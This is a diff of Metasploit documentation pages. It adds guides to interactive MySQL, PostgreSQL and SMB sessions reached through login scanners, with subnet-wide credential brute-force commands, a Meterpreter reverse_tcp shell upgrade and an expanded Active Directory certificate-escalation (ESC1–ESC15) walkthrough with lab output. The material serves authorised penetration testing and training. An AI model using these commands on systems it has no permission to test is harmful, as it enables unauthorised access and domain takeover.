[*] Starting interaction with 1...
|
||||
|
||||
mysql @ 127.0.0.1:4306 >
|
||||
```
|
||||
|
||||
You can interact with your new session using `sessions -i -1` or `sessions <session id>`.
|
||||
You can also use `help` to get more information about how to use your session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
|
||||
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MySQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mysql/mysql_enum
|
||||
auxiliary/admin/mysql/mysql_sql
|
||||
auxiliary/scanner/mysql/mysql_file_enum
|
||||
auxiliary/scanner/mysql/mysql_hashdump
|
||||
auxiliary/scanner/mysql/mysql_schemadump
|
||||
auxiliary/scanner/mysql/mysql_version
|
||||
auxiliary/scanner/mysql/mysql_writable_dirs
|
||||
exploit/multi/mysql/mysql_udf_payload
|
||||
exploit/windows/mysql/mysql_mof
|
||||
exploit/windows/mysql/mysql_start_up
|
||||
```
|
||||
|
||||
Once you've done that, you can run any MySQL query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SHOW DATABASES;
|
||||
query USE information_schema;
|
||||
query SELECT * FROM SQL_FUNCTIONS;
|
||||
query SELECT version();
|
||||
|
||||
mysql @ 127.0.0.1:4306 > query 'SELECT version();'
|
||||
Response
|
||||
========
|
||||
|
||||
# version()
|
||||
- ---------
|
||||
0 11.2.2-MariaDB-1:11.2.2+maria~ubu2204
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive
|
||||
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306 ()
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 ALL_PLUGINS
|
||||
1 APPLICABLE_ROLES
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### MySQL Dumping
|
||||
|
||||
User and hash dump:
|
||||
|
||||
@@ -17,6 +17,13 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search postgres
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:postgres
|
||||
```
|
||||
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker:
|
||||
@@ -80,6 +87,158 @@ run cidr:/24:postgres://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:postgres://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session
|
||||
The CreateSession option for `auxiliary/scanner/postgres/postgres_login` allows you to obtain an
|
||||
interactive session for the Postgres client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session.
|
||||
|
||||
For example:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
|
||||
```
|
||||
|
||||
Should yield:
|
||||
|
||||
```msf
|
||||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1
|
||||
[*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
You can interact with your session using `sessions -i -1` or `sessions <session id>`.
|
||||
Use the help command for more info.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
PostgreSQL Client Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/postgres/postgres_readfile
|
||||
auxiliary/admin/postgres/postgres_sql
|
||||
auxiliary/scanner/postgres/postgres_hashdump
|
||||
auxiliary/scanner/postgres/postgres_schemadump
|
||||
auxiliary/scanner/postgres/postgres_version
|
||||
exploit/linux/postgres/postgres_payload
|
||||
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
|
||||
exploit/multi/postgres/postgres_createlang
|
||||
exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
|
||||
Once you've done that, you can run any Postgres query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SELECT user;
|
||||
query SELECT version();
|
||||
query SELECT * FROM pg_catalog.pg_tables;
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
|
||||
[*] SELECT 1
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# version
|
||||
- -------
|
||||
0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive
|
||||
[*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
[*] SELECT 2
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 pg_statistic
|
||||
1 pg_type
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### PostgreSQL Capture Server
|
||||
|
||||
Captures and log PostgreSQL credentials:
|
||||
|
||||
@@ -8,7 +8,7 @@ There are two main ports for SMB:
|
||||
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
|
||||
|
||||
Other terminology to be aware of:
|
||||
- SMB - Serer Message Blocks
|
||||
- SMB - Server Message Blocks
|
||||
- CIFS - Common Internet File System
|
||||
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
|
||||
|
||||
@@ -24,7 +24,13 @@ Metasploit has support for multiple SMB modules, including:
|
||||
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 > search mysql
|
||||
msf6 > search smb
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:smb
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
@@ -63,6 +69,122 @@ Restart the service:
|
||||
service smbd restart
|
||||
```
|
||||
|
||||
### SMB Login and Interactive Sessions
|
||||
|
||||
When using the smb_login module, the CreateSession option can be used to obtain an interactive
|
||||
session within the smb instance. Running with the following options:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
|
||||
```
|
||||
|
||||
Should give you output similar to
|
||||
|
||||
```msf
|
||||
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
|
||||
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
|
||||
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
|
||||
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
SMB (172.14.2.164) > shares
|
||||
Shares
|
||||
======
|
||||
|
||||
# Name Type comment
|
||||
- ---- ---- -------
|
||||
0 ADMIN$ DISK|SPECIAL Remote Admin
|
||||
1 C$ DISK|SPECIAL Default share
|
||||
2 foo DISK
|
||||
3 IPC$ IPC|SPECIAL Remote IPC
|
||||
|
||||
SMB (172.14.2.164) > shares -i foo
|
||||
[+] Successfully connected to foo
|
||||
SMB (172.14.2.164\foo) > ls
|
||||
ls
|
||||
===
|
||||
[truncated]
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
SMB (172.14.2.164\foo) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the SMB session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
Shares Commands
|
||||
===============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
cat Read the file at the given path
|
||||
cd Change the current remote working directory
|
||||
delete Delete a file
|
||||
dir List all files in the current directory (alias for ls)
|
||||
download Download a file
|
||||
ls List all files in the current directory
|
||||
mkdir Make a new directory
|
||||
pwd Print the current remote working directory
|
||||
rmdir Delete a directory
|
||||
shares View the available shares and interact with one
|
||||
upload Upload a file
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/dcerpc/icpr_cert
|
||||
auxiliary/admin/dcerpc/samr_computer
|
||||
auxiliary/admin/smb/delete_file
|
||||
auxiliary/admin/smb/download_file
|
||||
auxiliary/admin/smb/psexec_ntdsgrab
|
||||
auxiliary/admin/smb/upload_file
|
||||
auxiliary/gather/windows_secrets_dump
|
||||
auxiliary/scanner/smb/pipe_auditor
|
||||
auxiliary/scanner/smb/pipe_dcerpc_auditor
|
||||
auxiliary/scanner/smb/smb_enum_gpp
|
||||
auxiliary/scanner/smb/smb_enumshares
|
||||
auxiliary/scanner/smb/smb_enumusers
|
||||
auxiliary/scanner/smb/smb_enumusers_domain
|
||||
auxiliary/scanner/smb/smb_lookupsid
|
||||
exploit/windows/smb/psexec
|
||||
```
|
||||
|
||||
### SMB Enumeration
|
||||
|
||||
Enumerate SMB version:
|
||||
|
||||
@@ -20,3 +20,13 @@ run session=-1
|
||||
run session=-1 win_transfer=POWERSHELL
|
||||
run session=-1 win_transfer=VBS
|
||||
```
|
||||
|
||||
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
|
||||
|
||||
```
|
||||
use multi/manage/shell_to_meterpreter
|
||||
set SESSION 1
|
||||
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
|
||||
set PLATFORM_OVERRIDE windows
|
||||
set PSH_ARCH_OVERRIDE x64
|
||||
```
|
||||
|
||||
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
|
||||
|
||||
## Installing Metasploit on Windows
|
||||
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
|
||||
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
|
||||
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
|
||||
|
||||
### Windows Anti-virus software flags the contents of these packages!
|
||||
|
||||
|
||||
+381
-155
@@ -5,20 +5,56 @@ for testing purposes.
|
||||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
|
||||
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
|
||||
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
|
||||
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
|
||||
ESC4(ESC4)
|
||||
update_template[<i>Update Template</i>]
|
||||
ESC4 -- abuse privileges --> update_template
|
||||
end
|
||||
subgraph relay/esc8[<b>relay/esc8</b>]
|
||||
ESC8(ESC8)
|
||||
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
|
||||
end
|
||||
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||
ESC1(ESC1)
|
||||
ESC2(ESC2)
|
||||
ESC3(ESC3)
|
||||
ESC13(ESC13)
|
||||
ESC15(ESC15)
|
||||
alt_subject[<i>Alternate Subject Issuance</i>]
|
||||
add_policies[<i>Alternate Subject Issuance</i><br>and<br><i>Add Policy OIDs</i>]
|
||||
as_eagent[<i>Enrollment Agent Issuance</i>]
|
||||
normal[<i>Normal Issuance</i>]
|
||||
|
||||
ESC1 --> alt_subject
|
||||
ESC2 --> as_eagent
|
||||
ESC3 --> as_eagent
|
||||
ESC13 --> normal
|
||||
ESC15 --> add_policies
|
||||
as_eagent -- use new certificate --> normal
|
||||
end
|
||||
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
|
||||
PKINIT[<i>PKINIT</i>]
|
||||
end
|
||||
subgraph ldap/ldap_login[<b>ldap/ldap_login</b>]
|
||||
SCHANNEL[<i>SCHANNEL</i>]
|
||||
end
|
||||
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
|
||||
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
|
||||
end
|
||||
add_policies -- add client authentication oid --> SCHANNEL
|
||||
add_policies -- add certificate request agent oid --> as_eagent
|
||||
alt_subject --> PKINIT
|
||||
alt_subject --> SCHANNEL
|
||||
find_vulnerable_templates --> icpr_cert
|
||||
normal --> PKINIT
|
||||
normal --> SCHANNEL
|
||||
update_template --> ESC1
|
||||
web_enrollment --> PKINIT
|
||||
web_enrollment --> SCHANNEL
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
|
||||
taking advantage of various flaws in how certificate templates are configured on an Active Directory Certificate Server.
|
||||
|
||||
The following sections will walk through each of these steps, starting with enumerating
|
||||
certificate templates that the server has to offer and identifying those that are
|
||||
@@ -30,8 +66,7 @@ administrator via Kerberos.
|
||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
@@ -51,30 +86,38 @@ attacks that they found they could conduct via misconfigured certificate templat
|
||||
Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
|
||||
- ESC7 - Vulnerable Certificate Authority Access Control
|
||||
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc8]]
|
||||
|
||||
Later, another
|
||||
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
|
||||
could allow normal domain joined users to abuse certificate template misconfigurations to
|
||||
gain domain administrator privileges.
|
||||
Later, additional techniques were disclosed by security researchers:
|
||||
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
|
||||
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
|
||||
`CertificateMappingMethods` contains `UPN` flag.
|
||||
- ESC10 - Weak Certificate Mappings -
|
||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
|
||||
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||
StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
- [Relaying to AD Certificate Services over
|
||||
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
|
||||
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
|
||||
key.
|
||||
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||
- ESC13 - Domain escalation via issuance policies with group links.
|
||||
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
|
||||
- ESC14 - Explicit certificate mappings through `altSecurityIdentities` write access abuse
|
||||
- [ADCS ESC14 Abuse Technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
|
||||
- ESC15 (AKA EKUwu) - Domain escalation via No Issuance Requirements + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Policy OID
|
||||
manipulation
|
||||
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
|
||||
|
||||
Finally, we have ESC11, which was discovered by Compass Security and described in their
|
||||
[blog
|
||||
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
|
||||
covers exploiting that subset of ESC flaws.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -134,7 +177,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC13 and ESC15. The
|
||||
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
|
||||
analyzing the objects in LDAP.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
@@ -167,17 +212,19 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
REPORT_NONENROLLABLE false yes Report nonenrollable certificate templates
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit
|
||||
-framework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
REPORT_NONENROLLABLE false yes Report nonenrollable certificate templates
|
||||
REPORT_PRIVENROLLABLE false yes Report certificate templates restricted to domain
|
||||
and enterprise admin
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit
|
||||
-framework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
@@ -195,114 +242,81 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Template: SubCA
|
||||
[*] Distinguished Name: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC1-Template
|
||||
[*] Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC1
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * daforest-WIN-BR0CCBA815B-CA
|
||||
[*] Server: WIN-BR0CCBA815B.daforest.com
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] Template: ESC2-Template
|
||||
[*] Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Vulnerable to: ESC2
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
|
||||
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
|
||||
